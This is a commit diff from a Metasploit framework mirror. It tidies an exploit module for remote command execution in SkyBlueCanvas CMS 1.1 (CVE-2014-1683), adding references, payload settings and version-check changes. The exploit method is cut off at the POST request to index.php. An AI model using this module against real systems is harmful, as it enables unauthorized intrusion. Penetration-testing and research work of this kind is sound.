infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Do final cleanup for the skybluecanvas exploit

bug/bundler_fix
jvazquez-r7 2014-01-31 09:17:51 -06:00
parent ffd8f7eee0
commit 810605f0b7
1 changed files with 21 additions and 16 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

25
modules/exploits/multi/http/skybluecanvas_exec.rb
View File

@ -15,8 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Name' => 'SkyBlueCanvas CMS Remote Code Execution', 'Name' => 'SkyBlueCanvas CMS Remote Code Execution',
'Description' => %q{ 'Description' => %q{
This module exploits an arbitrary command execution vulnerability This module exploits an arbitrary command execution vulnerability
in SkyBlueCanvas CMS version 1.1 r248-03 and below. The vulnerable function is in SkyBlueCanvas CMS version 1.1 r248-03 and below.
inside /index.php?pid=4.
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => 'Author' =>
@ -26,11 +25,19 @@ class Metasploit3 < Msf::Exploit::Remote
], ],
'References' => 'References' =>
[ [
['CVE', '2014-1683'],
['OSVDB', '102586'],
['BID', '65129'],
['EDB', '31183'],
['URL', 'http://packetstormsecurity.com/files/124948/SkyBlueCanvas-CMS-1.1-r248-03-Command-Injection.html'] ['URL', 'http://packetstormsecurity.com/files/124948/SkyBlueCanvas-CMS-1.1-r248-03-Command-Injection.html']
], ],
'Privileged' => false, 'Privileged' => false,
'Payload' => 'Payload' =>
{ {
# Arbitrary big number. The payload gets sent as an HTTP
# response body, so really it's unlimited
'Space' => 262144, # 256k
'DisableNops' => true,
'Compat' => 'Compat' =>
{ {
'ConnectionType' => 'find', 'ConnectionType' => 'find',
@ -41,7 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Platform' => %w{ unix }, 'Platform' => %w{ unix },
'Targets' => 'Targets' =>
[ [
['SkyBlueCanvas', {}] ['SkyBlueCanvas 1.1 r248', {}]
], ],
'Arch' => ARCH_CMD, 'Arch' => ARCH_CMD,
'DisclosureDate' => 'Jan 28 2014', 'DisclosureDate' => 'Jan 28 2014',
@ -56,22 +63,20 @@ class Metasploit3 < Msf::Exploit::Remote
def check def check
uri = normalize_uri(target_uri.path.to_s, "index.php") uri = normalize_uri(target_uri.path.to_s, "index.php")
res = send_request_raw( res = send_request_raw('uri' => uri)
{
'uri' => uri
})
if res and res.body =~ /[1.1 r248]/ if res and res.body =~ /[1.1 r248]/
print_good("#{peer} - SkyBlueCanvas CMS 1.1 r248-xx found") vprint_good("#{peer} - SkyBlueCanvas CMS 1.1 r248-xx found")
return Exploit::CheckCode::Appears return Exploit::CheckCode::Appears
end end
return Exploit::CheckCode::Safe
Exploit::CheckCode::Safe
end end
def exploit def exploit
uri = normalize_uri(target_uri.path.to_s, "index.php") uri = normalize_uri(target_uri.path.to_s, "index.php")
res = send_request_cgi({ send_request_cgi({
'method' => 'POST', 'method' => 'POST',
'uri' => uri, 'uri' => uri,
'vars_get' => { 'pid' => '4' }, 'vars_get' => { 'pid' => '4' },